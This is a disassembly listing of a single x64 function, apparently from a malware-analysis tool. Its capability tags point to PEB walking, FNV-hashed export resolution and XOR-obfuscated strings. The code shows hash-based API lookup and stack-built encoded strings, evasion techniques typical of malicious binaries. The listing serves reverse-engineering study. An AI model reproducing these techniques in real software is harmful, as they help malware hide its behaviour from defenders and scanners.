Function at 0x14005ace0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
push rbp
push r12
lea rbp, [r11 - 0x5f]
sub rsp, 0x98
mov rax, qword [0x1401494d8]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov qword [r11 - 0x18], rbx
mov r12, rcx
mov qword [r11 - 0x20], rsi
lea rsi, [rcx + 8]
mov qword [r11 - 0x28], rdi
mov qword [r11 - 0x30], r14
mov r14, rdx
mov qword [r11 - 0x38], r15
mov r15, r9
cmp r8b, 1
jne 0x14005ae18
xor r9d, r9d
mov byte [rbp - 0x19], Ordinal_79
mov al, reloc.WS2_32.dll_gethostname
mov byte [rbp - 0x14], r9b
xor al, 0x4d
mov cl, 0x3f
xor cl, 0x4d
mov byte [rbp - 0x18], al
mov dl, gethostname
mov byte [rbp - 0x17], cl
xor dl, 0x4d
mov r8b, Ordinal_41
xor r8b, 0x4d
mov byte [rbp - 0x16], dl
cmp qword [rsi + 0x18], 0x10
mov byte [rbp - 0x15], r8b
jb 0x14005ad61
mov rsi, qword [rsi]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005adf7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005adf7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa31f31e2
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005adf2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005add0
cmp r8d, 0xd82f3952
je 0x14005adfc
test r9d, r9d
jne 0x14005adb0
mov rax, qword [rax]
jmp 0x14005ad80
mov r8d, dword [rbx + 0x24]
add r8, r10
movzx r9d, word [r8 + r9*2]
mov r8d, dword [rbx + 0x1c]
add r8, r10
mov eax, dword [r8 + r9*4]
jmp 0x14005af01
xor r8b, r8b
mov byte [rbp - 0x19], reloc.WS2_32.dll_WSAStartup
xor r8b, 0x73
xor r10d, r10d
mov al, reloc.WS2_32.dll_setsockopt
mov byte [rbp - 0x15], r8b
xor al, 0x73
mov byte [rbp - 0x13], r10b
mov cl, reloc.WS2_32.dll_select
mov byte [rbp - 0x18], al
xor cl, 0x73
mov dl, Ordinal_32
xor dl, 0x73
mov byte [rbp - 0x17], cl
mov r9b, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp - 0x16], dl
xor r9b, 0x73
cmp qword [rsi + 0x18], 0x10
mov byte [rbp - 0x14], r9b
jb 0x14005ae5a
mov rsi, qword [rsi]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005aee7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005aee7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x1da124ed
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14005aee2
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14005aec0
cmp r8d, 0x5fa1daa9
je 0x14005aeec
test r9d, r9d
jne 0x14005aea0
mov rax, qword [rax]
jmp 0x14005ae70
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov qword [rsp + 0x28], r15
lea r9, [rbp - 9]
lea r8, [rbp - 0x18]
mov dword [rsp + reloc.WLDAP32.dll_Ordinal_32], 0x20
mov rdx, rsi
mov rcx, r14
add rax, r10
call rax
mov r15, qword [rsp + 0x70]
test eax, eax
mov r14, qword [rsp + 0x78]
mov cl, 0x50
mov rdi, qword [rsp + 0x80]
setne r11b
mov rsi, qword [rsp + 0x88]
xor cl, 0x22
mov rbx, qword [rsp + 0x90]
mov r8b, 0x47
xor r8b, 0x22
mov byte [rbp - 0xf], cl
xor r9d, r9d
mov byte [rbp - 0xd], r8b
mov al, 0x56
mov byte [rbp - 0x11], Ordinal_35
xor al, 0x22
mov byte [rbp - 0xc], r9b
mov dl, 0x57
mov byte [rbp - 0x10], al
xor dl, 0x22
lea r8, [rbp - 9]
lea rcx, [rbp - 0x10]
mov byte [rbp - 0xe], dl
xor r10d, r10d
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14005af93
inc r10d
test rcx, rcx
jne 0x14005af81
test r10d, r10d
jne 0x14005af9e
lea r8, [rbp - 9]
jmp 0x14005b00f
lea r9, [rbp - 0x10]
lea rax, [rbp - 9]
sub r9, rax
nop dword [rax]
xor edx, edx
mov rcx, r8
test r8, r8
je 0x14005afd1
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14005afd1
inc edx
test rcx, rcx
jne 0x14005afc0
cmp edx, r10d
jl 0x14005b00c
lea rax, [rbp - 0x10]
mov edx, r10d
mov rcx, r8
cmp r8, rax
je 0x14005b00f
test r10d, r10d
jle 0x14005b00f
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
cmp byte [rcx], al
jne 0x14005b004
dec edx
inc rcx
test edx, edx
jg 0x14005aff0
jmp 0x14005b00f
inc r8
dec r9
jmp 0x14005afb0
xor r8d, r8d
test r8, r8
movzx eax, r11b
setne cl
mov byte [r12], cl
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.1400c8560
add rsp, 0x98
pop r12
pop rbp
ret